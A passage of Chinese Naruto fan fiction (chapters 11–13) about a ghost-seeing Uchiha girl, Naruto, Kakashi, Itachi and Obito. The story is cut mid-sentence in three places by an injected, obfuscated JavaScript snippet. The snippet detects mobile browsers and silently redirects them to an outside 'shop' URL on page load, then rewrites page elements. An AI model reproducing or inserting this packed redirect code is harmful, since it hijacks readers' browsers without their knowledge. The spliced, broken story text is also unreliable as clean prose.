“你如果想测试自己的查克拉还有没有其他的属性,可以去尝试一下最初级的各属性遁术,如果一下就能学会并施展,就说明你的查克拉具备这种属性。” 水木老师同铃音分享自己的看法。 铃音点点头,决定待会儿从图书室借几卷初级的属性忍术卷轴回去。 “水木老师,图书室的属性忍术卷轴放在哪儿啊?” 水木老师带她去了放属性忍术卷轴的书架,边走还边体贴地为铃音分析,“这里放着的都是些D级E级的低阶忍术。你们宇智波族地应该还有其他更厉害的忍术吧……何必把时间和精力花在这些低级忍术上?” 铃音觉得水木老师高看自己了,“我现在也就是个忍术新手,低阶忍术对我来说正合适啊。” “等掌握这些简单的,之后再去族地找其他的中高级忍术也来得及。” “没想到铃音同学居然这么谦虚——不过以你的资质,这个过程应该很快吧。” 铃音对水木老师道了声谢,将登记好借出的忍术卷轴放进了挎包。 “慢走……欢迎下次再来!”水木老师把铃音送出门。 铃音都走出去好远才反应过来,她明明没有介绍自己,为什么水木老师好像对她很了解? 11. 美味烤肉 离开图书室已经是五点多,这个时候其他同学早已经离校。 太阳西斜,树和围墙的影子被拉长。 铃音一出校门,就见自己的黄头发小同桌正耷拉着脑袋在秋千上晃悠。 “鸣人,你怎么还没回家?” 听见声音,原本背对着这边的鸣人“噌”地转头,“我才不要回家!” “这个时候大家都走了,我可以一个人霸占秋千!” 哇,好幼稚! 秋千就这么好玩吗? 铃音忍不住提醒,“再不回家你爸妈会着急的。” “不知道鸣人父母是干什么的,为什么总是这么晚才来学校接他……” 止水飘在旁边欲言又止,弄得铃音有些摸不着头脑。 “你还不是一样这么晚回家!”鸣人生气地把自己荡起来,嘴里还小声嘀咕着,“就算回家了……还不如继续待在外面。” 铃音没听清鸣人嘴里说了些什么,“我陪你玩会儿,待会儿顺便送你回家。”反正现在还早。 铃音走到鸣人背后推他。 鸣人看起来活泼皮实,实际上体重却很轻,铃音轻轻一推,他整个人飞了起来。 “不够高——再用力一点!” 鸣人玩过很多次秋千,却很少有机会被别人推。 学校里愿意和他玩的孩子不多,每次他都会十分用劲地把他们推高。 可轮到他的时候,大家的父母就下班了,玩伴们一个个被接走,剩下他一个人自己玩儿。 有时他还会听见玩伴们的父母叮嘱他们别和自己玩儿。 他们看他的眼神很奇怪,像是在看什么不祥之物。 等过段时间,铃音大概也会被这样叮嘱,然后离他而去吧。 所以,这段时间,他要和铃音一起玩个够! “哇~啊啊啊——好高!” 秋千被甩到几乎和地面平行。 高处的风景太棒了,鸣人伸出脚,像把影岩雕像都踩在脚下。 呼呼的风从脸颊边穿过,这种感觉太棒了! “太厉害了!我还是第一次飞得这么高!” 结果下一秒就乐极生悲,坐在秋千上的鸣人手一松,整个人便从秋千上飞了出去,像个铅球一样划出抛物线后摔在地上,还弹出去几下。 铃音赶忙上去查看,“你没事儿吧?” “抱歉,我刚才不该那么用力!” 鸣人头顶一个大肿包,表面还有被地面摩擦的伤痕正渗出丝丝缕缕血珠。 “没事儿没事儿——一点也不疼。”鸣人这个伤员反而咧开笑脸安慰起铃音来。 怎么可能不疼。 铃音的愧疚更深了。 她挎包里有美琴阿姨帮忙准备的便携医疗包,她拿出来为鸣人清洁上药。 鸣人被药水刺激得面目狰狞,却硬是没喊一句疼。 他担心自己要是说了,之后铃音就不会再和他一起玩了。 铃音检查完鸣人身上其他伤口,把他从地上拉起来,“今天就这样吧~” 鸣人时不时偏头看她,“我真的没事儿,这点伤一晚上就好了……” “你是在生我的气吗?”鸣人后悔自己当时没能把绳子握得更紧一些。 铃音看着鸣人小心翼翼的样子摇头,“我没生气……是我没注意让你摔了。” “你要是这会儿不想回家的话,就和我一起去吃晚饭吧,我请客。”就当是她赔罪。 情绪低落的鸣人瞬间就换了态度,“真的吗!我要吃味增拉面!” “我知道有一家拉面店,拉面超好吃的!” 鸣人走在前面带路。 六点半正是食店营业的高峰期,街道上的食铺全都热热闹闹。 两人路过烤肉店,玻璃窗里能看见顾客们正对着诱人的烤肉大快朵颐。 铃音前些年一直住在偏远渔村里,村民们入夜就休息,除非节日,否则很难见到这种灯红酒绿喧嚣热闹的场景。 见鸣人和她一样呆呆望着烤肉店,铃音忍不住提议,“要不我们今天去这家店,下次再一起去吃拉面。” 鸣人纠结了一小会儿。 最终还是败给了下次一起去吃拉面的约定。 他刚才看的并不是桌上的菜肴,而是坐在一起用餐的客人们。 一家人来烤肉店,父母掌管火候,会在小孩想要偷夹的时候教训他,会把刚烤好的烤肉送到小孩的碗里……如果他父母也在的话,自己或许也会像店里的小孩那样幸福吧。 就算刚发了一个月的生活费,鸣人也顶多去一乐拉面吃一份豪华豚肉味增拉面——没有一个人去烤肉店的勇气。 第一次进这样的店,他被店里明亮的灯光照得炫目,有些不知所措。 铃音也是第一次来这家店,找到空位坐下之后就淡然自若地看起了菜单,动作熟练得仿佛已经做过许多回。 “你想吃什么?”铃音先询问鸣人的意见。 “我第一次来这里……你看着点就好了。” 作为一个独立生活多年的小孩,他可是知道烤肉店的菜肴有多贵的。 “我们可以少点一点,多吃米饭就好了!” 铃音则略过了鸣人的回答,直接默认对方没有忌口。 她平时吃住都在族长家,几乎没有需要用钱的地方。 来了木叶这么久,父母留下的巨额财产,她连一个金币都没花完。 大概是钱包充裕,所以她点菜的时候特别阔气。 “牛舌、牛里脊、牛排……算了,这一页的肉都先来一份,甜品的话要豪华圣代,还要两个人的米饭。” “这么多,我们能吃完吗?”鸣人被“一页”这个单位震惊到。 桌上的空间都不够放了,店员还专门推了个架子过来放菜盘。 鸣人还是第一次面对这么多肉,嘴里被店里的肉香诱惑,不停分泌唾液。 “没事没事……烤肉只是看着多,其实一点儿也不顶饱的~” 铃音将切好的肉片放到烤网上,等肉片香味传出,翻面再烤。 她一开始没有多少经验,可多烤几盘就熟悉了,烤出来的肉又嫩又香。 上等的肉怎么吃都美味,直接吃、蘸上酱料包进生菜里、伴着米饭……全都很好吃。 铃音一开始还记得自己要照顾鸣人,吃到后面根本记不起来这回事。 鸣人则无师自通了把握火候的同时防范铃音的偷吃—— 两人舒舒服服吃了个饱,毫无顾忌地摊在店里的椅子上休息。 飘在旁边的止水实在看不下去了,提醒铃音要注意形象。 “我现在还是小孩子,不用顾忌那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427015|200882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么多——”形象什么的,是大人才会考虑的东西。 小憩过后,铃音把鸣人送到了他家楼下。 “我家就在那上面了。”鸣人指了指二楼的位置。 铃音望着二楼那个窗户漆黑的屋子,后知后觉自己说了很过分的话。 “鸣人的父母……” “嗯,去世了。”止水淡淡道。 “你早就知道?为什么不提前告诉我!” “鸣人是四代火影波风水门的孩子……虽然这件事在木叶是上机密。” “诶?!”×2 一直伪装成玩偶的琳也憋不住了,“这种事情应该提前说的啊!” 虽然琳之前一直隐隐有猜测,没想到当上四代火影的居然真的是水门老师。 但一旦结合鸣人是四代火影遗孤再来看他的处境,便能察觉出微妙的诡异感。 铃音啧嘴,“哎,这大概就是人走茶凉吧……要是四代火影知道自己儿子被这样对待,会后悔的吧!” 之后铃音便去了忍者单身公寓,这会儿结束工作的单身忍者们也陆陆续续回家。 铃音蹲在楼下,喂了半个小时蚊子,身上全是叮咬出来的小鼓包。 “不等了……谁知道那家伙什么时候回来啊!” “琳你知道卡卡西和谁比较熟吗?” “有倒是有……”琳指着从他们到这之后就一直倒立着围着公寓转圈锻炼的粗眉毛西瓜油头男子,“卡卡西和凯的关系还不错。” “就没有别的人选了吗?”铃音不想和这个身穿绿色连体衣的怪人打交道。 她不想打交道也晚了,对方向她“走”了过来。 他想干什么?铃音下意识后撤了一小步。 “小姑娘,你来这里是在等什么人吗?” 铃音有些迟疑,不知道要不要跟他说。 迈特凯看出她的顾虑,哈哈大笑几声后就单手用力一撑,整个人翻转过来,变成了正常人双脚着地的姿态。 “你不要害怕,我是正经忍者,你看,这是我的忍者护额。” “可以请他帮忙。”止水道。 琳也补充,“他是我和卡卡西的同期。” “我是来找卡卡西的,我有很重要的事情要跟他说,你能帮忙叫他下来吗?” 卡卡西那个阴沉的家伙,究竟是怎么和这么可爱讲礼貌的小女孩扯上关系的? 怀揣着这样的疑问,迈特凯上楼敲响了卡卡西房间的门。 门里面没人回应,卡卡西那家伙曾经做过明明在家却故意不回应装不在的事,让凯对他的信任值极低……于是他又从阳台往里探查了一番。 嗯,对方确实不在家。 “应该是还在执行任务吧。” 凯下楼告知铃音,“有什么事可以告诉我,我可以帮忙转达~” “不了,我还是当面跟他说比较好……”亡灵什么的本来就玄乎,多一个人知道就多一份麻烦。 “麻烦你之后遇到他转告一声,我有很重要的话要跟他说,让他尽快来忍者学校找我就行。” “这样就行了吗?”凯觉得,以那家伙的性子,估计根本不会放在心上。 自觉已经解决一件大事,铃音回去的时候格外轻松。 于是在经过曾经宇智波居住的区域时,又遇见了一只鬼魂。 12. 美味羊羹 之所以能第一时间判断出对方是鬼魂,是因为对方和琳、止水都不一样,对方的身体呈现出半透明的状态,像马上就要消失。 “总觉得最近见鬼的几率越来越大了……我该不会觉醒了什么会吸引亡灵的麻烦体质吧?”铃音小声嘀咕。 止水粲然一笑,“明明是你主动找上的我们。” 对方衣服上有宇智波的标志,看样子应该是族内某位已故多年的长辈。 铃音在距离不远处站定,先问了身旁的止水,“止水,你认识她吗?” 止水短暂回忆了一下,“我小时候吃过奶奶给的羊羹,味道很好……她有个比我大几岁的孙子,不过我们不熟。” 毫无用处的情报。 倒是琳语气十分笃定,“我以前见过她几次,她是带土的奶奶。” “带土又是谁?” “是我的另外一个队友,他为了救我和卡卡西,牺牲了。” 铃音为自己再次无意间在别人伤口上撒盐的行为感到抱歉。 一时间,一人两鬼都陷入了沉默。 “啊——总觉得和那位长辈搭话也很需要勇气。” 不过铃音还是鼓起勇气靠近。 “奶奶,晚上好啊!今晚的月光很好,您出来散步吗?” 老奶奶的面容苍老,但魂体十分灵活,飘起来转了两三圈打量他们仨,“你能看见我们?” “嗯,我拥有能看到亡灵的能力。” “亡灵啊……”老奶奶感叹了一声,目光在止水和琳之间打转,“没想到你们这么年轻也跟我这个老太婆一样成了亡灵。” 铃音将手覆在带土奶奶的魂体上面,朝她输送能量,对方的灵魂凝实了些许。 接触到带土奶奶灵魂的那刻,铃音意识到,如果奶奶的灵魂继续在人间长时间滞留,终有一天会彻底消散。 但如果消除奶奶的执念,她的灵魂就能前往冥界重新投胎。 铃音询问道,“奶奶您是有什么愿望还没实现吗?” “我死了,唯一放不下的就是带土……不知道他外出执行任务结果怎么样。” 虽然等了这么多年,她也猜到了结果,但她始终抱着一线希望。 万一带土只是失踪了呢? 万一带土只是搬去了别的地方呢? 带土外出执行任务后,她意外感染了风寒,没想到身体那么不争气,居然就死了。 要是带土那孩子知道,该有多伤心啊。 她希望有一天能收到孙子的消息。 可她都已经死了,谁又会特意找到她这个鬼魂告知孙子的下落呢? 之后她便一年又一年徘徊在这附近,最近几年灵魂之力消散得厉害,她才只在晚上出现。 带土奶奶的目光落在琳身上,“我是不是在哪儿见过你?总觉得你的脸很熟悉。” 琳确实没法继续沉默下去了,“我和带土是队友。” “那他……” “他为了救我和卡卡西,被埋在了地底。” “看来那小子死的不算窝囊——很帅气嘛。”老奶奶脸上露出欣慰的表情来,“虽然最后没有成为火影……但应该也能称得上英雄吧?” “嗯。”琳重重点头表示认同,“很帅气!” 早就已经猜到的事实尘埃落定,老奶奶如今对人间也没了留念。 “我还有一件小事想请你帮忙……他最喜欢我做的羊羹了,你能替我做一份送到他的墓前吗?” 这话是对着现场唯一的活人——铃音说的。 做份甜品而已,铃音自然没有什么可犹豫的,点头答应。 今天经历的事情太多,铃音回家洗漱完就立马睡着了。 而木叶单身公寓里,卡卡西刚刚结束任务回到房间。 迈特凯翻阳台进了他家,“暗部每天都需要忙到这么晚吗?你这样下去身体会吃不消的。” “对了,今天楼下有个叫‘铃音’的小姑娘托我给你带句话,说是有重要的事情找你,让你去忍者学校见她。” “小姑娘是个长着一头红发的宇智波,你有印象吗?” “嗯。”卡卡西敷衍地应声。 他知道这小姑娘。 她是宇智波和外族通婚生下的孩子,目前正住在宇智波族长家里……资料从她进村那天起,就分发到了他们这群暗部人员的手里。 他知道铃音的情况,但对方和他也就一面之缘,怎么会突然找上他? 卡卡西只能想到一个可能——难道是她还没放弃从他手中弄到《亲热天堂》精装版?会不会太执着了一点? 虽然那本书确实不错,但真的不适合小孩子! 怀着这样的心思,后面几天监视宇智波的时候,卡卡西难免对铃音多了几分关注。 这一注意,立马就发现许多不对劲的地方。 铃音很少和班里同学讲话,平时要么一个人看书,要么就一个人练习忍术,就算有空闲的时候,也只是一个人自言自语……完全就是被孤立了啊! 怪不得铃音会对被他抢走最后一本书的事情那么执着,完全是把书中世界当成唯一的心灵寄托了啊。 这种事情,难道其他宇智波都不管管吗? 卡卡西瞅了好几眼用公器私用把主屏幕用来偷看佐助的下属,旁敲侧击道,“这个铃音是前段时间才住进你家的女孩?” “你作为家里主人,应该多关心关心她,帮她快速融入在木叶的生活。” “鼬你要是有时间的话,可以多和她聊聊,交友、生活、学习方面有没有什么烦恼之类的?” 鼬疑惑地看向这位自己很尊敬的队长兼前辈,不知道他为什么突然对铃音如此关心。 铃音难道做了什么容易让村子误会的事? 可是就他看来,铃音的行为没什么出格的。 “聊了,她最近心情挺好的,放学回家还一直在尝试做羊羹。” 卡卡西觉得,鼬根本就没有对方被孤立了的概念……毕竟鼬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427016|200882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也就上了一年学而已。 罢了,还是他找个机会多关心关心吧。 但是那本《亲热天堂》是他用来收藏的,绝对不可能让出去! *** 其实鼬没说错,铃音最近心情还挺好的。 她白天在学校学习,放学后就在家复刻老奶奶拿手的羊羹,每天都过得非常充实。 羊羹里面没有羊,就像老婆饼里没有老婆一样。 将煮好的红豆过筛,留下绵密的红豆沙。 再往里面加入琼脂和砂糖,耐心搅拌,防止粘锅。 和其他人往红豆沙里面加入栗子粉不同,老奶奶的做法是将熬好的红豆汤一半倒入模具,中间放上蒸的软糯香甜的板栗仁,最后再倒入剩下的一半红豆汤……之后等待凝固。 这样切出来的红豆板栗羊羹会呈现出漂亮的板栗仁横截面,好看又美味。 这道甜品看似简单,却十分考验耐心——过滤时得细心,熬煮费精力。 即便有老奶奶提供的比例和制作方法,为了复刻出老奶奶的味道,铃音这两天还是尝试了数次才成功。 铃音制作羊羹时,美琴阿姨一直在旁边帮忙。 她也是重要的品鉴师,“很好吃……有股很怀念的味道,以前族里就有位长辈很擅长制作羊羹,铃音你做出来的味道简直一模一样。” 当然一模一样了,毕竟对方就飘在旁边一对一指导。 铃音自己倒是没这么挑剔,从第三次开始,她就觉得已经很好吃了。 留下几块给家里人品尝,剩下的都被铃音送到了带土的坟前。 墓地里不少人的坟墓其实是个空壳,很大一部分在战场上牺牲的忍者尸骨都没能运回来收敛。 带土的坟墓也是如此,当初他被埋葬在巨石之下,战后难以寻找……如今留在这里的,只是一个供还活着的亲友纪念的墓碑。 铃音将红豆板栗羊羹放到墓前,听老奶奶的亡灵絮絮叨叨话家常。 “知道你喜欢吃这个,我特意让人给你做了……” “你这孩子,平时做什么事都拖拖拉拉,总是迟到……偏偏这件事,还走在了我这个老太婆前面,真是个不会体贴长辈的坏孩子……” “幸好你比我先走,要不然你一个人留下也太孤单了……” 铃音也跟着在心里默默对这位叫做宇智波带土的前辈寒暄。 两人素昧平生,她不知道这位前辈性格怎样、长相如何、有过什么样的经历,但她衷心祝福对方到了冥界能安安稳稳,下一辈子不用经历战争和残酷的离别。 随着老奶奶心愿了结,她重新站起的时候,身体便慢慢化成一个个金色光点。 光点像早上的太阳那样温暖柔和,照亮了整个墓地。 它们一颗颗飘散,最终消失在漆黑的星空。 琳和止水都看见了这一幕。 “之后我们的愿望达成,应该也会变成这样吧。” 真希望那一天能早点到来。 13. 生日礼物 “好了,我们也该回去了。” 铃音说着就要离开。 之前来的时候没留意,这会儿她才发觉带土墓碑旁边,是一块刻着“野原琳之墓”的石碑。 这…… “啊,我的墓居然就在这旁边——”琳也很意外。 止水:“你们干嘛一副惊喜的样子啊……明明很微妙~” 铃音再往旁边走,是块什么字都没有的无字碑。 难道墓地也流行占座? 奇奇怪怪的。 她边走边扫视周围,扭头看见几排墓碑后有个银色头发的虚影,正想再多看看,身体就和别人撞上了。 好在对方快一步伸手推开了她。 “抱歉抱歉——”铃音为自己刚才分心没看路的行为道歉。 “没事。”和她迎面撞上的是个戴面具的男人,声音冷淡。 他怀里有束漂亮的花,应该也是来祭奠亲友。 铃音等走远了才与止水和琳交谈,“不知道他手里拿的是什么花,看着还挺好看的~” 琳对这方面比较了解,“是金鱼草……也是我最喜欢的花。” 铃音:“真的假的,我都不知道!” 琳:“你不知道才正常吧,我们才认识多久。” “你们觉得他是来送给谁的?恋人还是亲人?” 铃音觉得100%是恋人!她在这方面的第六感还蛮准确的。 止水对这些情情爱爱的话题不感兴趣,插嘴道,“也有可能是朋友吧!” “普通朋友的话最多会送菊花吧!记得那个人喜欢的花,这么晚还来墓地……肯定有别的含义的!”铃音据理力争道。 “金鱼草的花语有很多——最被大家熟知的是‘勇气’‘力量’和‘守护’。”分析完这些,琳也转投铃音阵营,“就算没成恋人,应该也是喜欢的人。”? “嗨嗨……你们说得有理——不过不管是哪种,现在这段感情都是悲剧了。” 铃音跳起来往止水的肚子上捶了一拳,“你怎么能突然说这么扫兴的话!太过分了!” “就算他们最后没能在一起,经历过这么一段美好的感情,也很值得了!” 一人两鬼吵吵闹闹往家走,墓地这边也重新恢复了往常的平静。 带土沉默地把金鱼草花束放到琳的墓前。 这是她最喜欢的花。 刚才那小丫头冒冒失失的,幸好他挡得及时,才没有让她把花撞坏。 每次有机会回木叶,他都会来这里待一会儿,即便他知道这个墓里什么都没有。 当初他目睹琳被卡卡西杀害,能量暴走,之后只知道杀戮。 他隐约记得自己最后抱着琳的尸体不放……但最后在斑的治疗下醒来,琳的尸体却不在他身边。 是被斑随意遗弃了,还是被卡卡西带回村子处理了? 他都不知道。 于是这个空墓便成了他唯一能够祭奠琳的地方。 旁边,就是他自己的墓。 也是个空的。 卡卡西偶尔会来这里假模假样地伤感,每次恰好撞见,他都会把对方送来的花和其他东西处理掉。 而今天,他的墓前放着一碟眼熟的甜点。 那是一盘红豆板栗羊羹,小时候他常吃,如今已经很多年没再吃到过了。 奶奶去世之后,他也吃过羊羹,要么太甜、要么太淡,要么口感太粗、要么入口软塌……而且那些人为了省事,还会直接把栗子打成粉放进去,和奶奶做的完全不一样。 但眼前这盘,居然和奶奶做的羊羹看上去一模一样,红豆沙中间是大颗的甜板栗,看上去就很诱人。 他拿了一块塞进嘴里……居然连味道也一模一样。 所以,送这糕点的是谁? 送那糕点的铃音懒懒打了个哈欠,压根不知道有人正念叨着自己。 她到家时已经挺晚了,族长一家已经各自回房间休息。 她轻手轻脚洗漱,一出门就正好撞见从佐助房间出来的大忙人鼬。 话说鼬是真忙,哪怕铃音住进了他家,和他相处的时间还没有赶路的那段时间多。 就他待在家的这点时间,怪不得佐助要经常抱怨了。 鼬想到白天卡卡西前辈说的那些话,忍不住询问铃音最近都在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427017|200882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做些什么。 “我没干什么啊,每天就上学,逛街,回家做甜点……” “也没和什么特别的人接触?” “当然!”铃音回答得十分理直气壮。 她只是和特别的鬼接触了而已。 想不通卡卡西前辈对铃音如此关注的原因,鼬思考了半晌,提醒铃音,“之前医生给你开的药你记得吃啊,吃完了记得去复查拿新的。” 铃音才不会告诉鼬自己根本没动过那些苦药丸,借口说要休息往楼上跑。 “等等!” 又怎么了? 鼬:“你知道佐助最近对什么感兴趣吗?他生日快到了,我想提前给他准备惊喜。” “欸!”铃音刚说了一个字就意识到不对,赶紧降低音量小声问,“佐助生日快到了?什么时候?” “七月二十三。” 铃音:“那不是没几天了吗?” 佐助也就当着哥哥的面才有点儿小孩样,出了门就立刻有了偶像包袱,表现得十分沉默寡言。 平时课间和放学后也很少见他和其他同学玩耍打闹,通常就是安安静静上课,上完课就默默练习,放学就收拾挎包回家……整个就是高冷学霸。 还不如在家的佐助真实。 “你往年都送佐助什么?还按照之前那样准备不行吗?” “之前我送过他忍具套装和忍术卷轴……这些东西他入学后自己也会买。” 铃音点点头,念书的时候要是有谁送她笔和练习册她也会觉得无趣。 “那他有什么喜欢的食物吗?比如说酱油丸子、蛋糕之类的?” 鼬摇摇头,“佐助不喜欢吃甜食……非要说的话,他喜欢番茄。” “番茄啊——总感觉生日就送番茄也太普通了。” 铃音果断提议,“与其在这里纠结送他什么当礼物,你还不如抽出一天时间陪他玩……他应该会更高兴。” 鼬若有所思地点点头。 其实铃音也就这么一说,没想到鼬还真的采用了。 第二天放学,她跟佐助一起走出校门,就见鼬等在校门口说是要接他们去玩儿。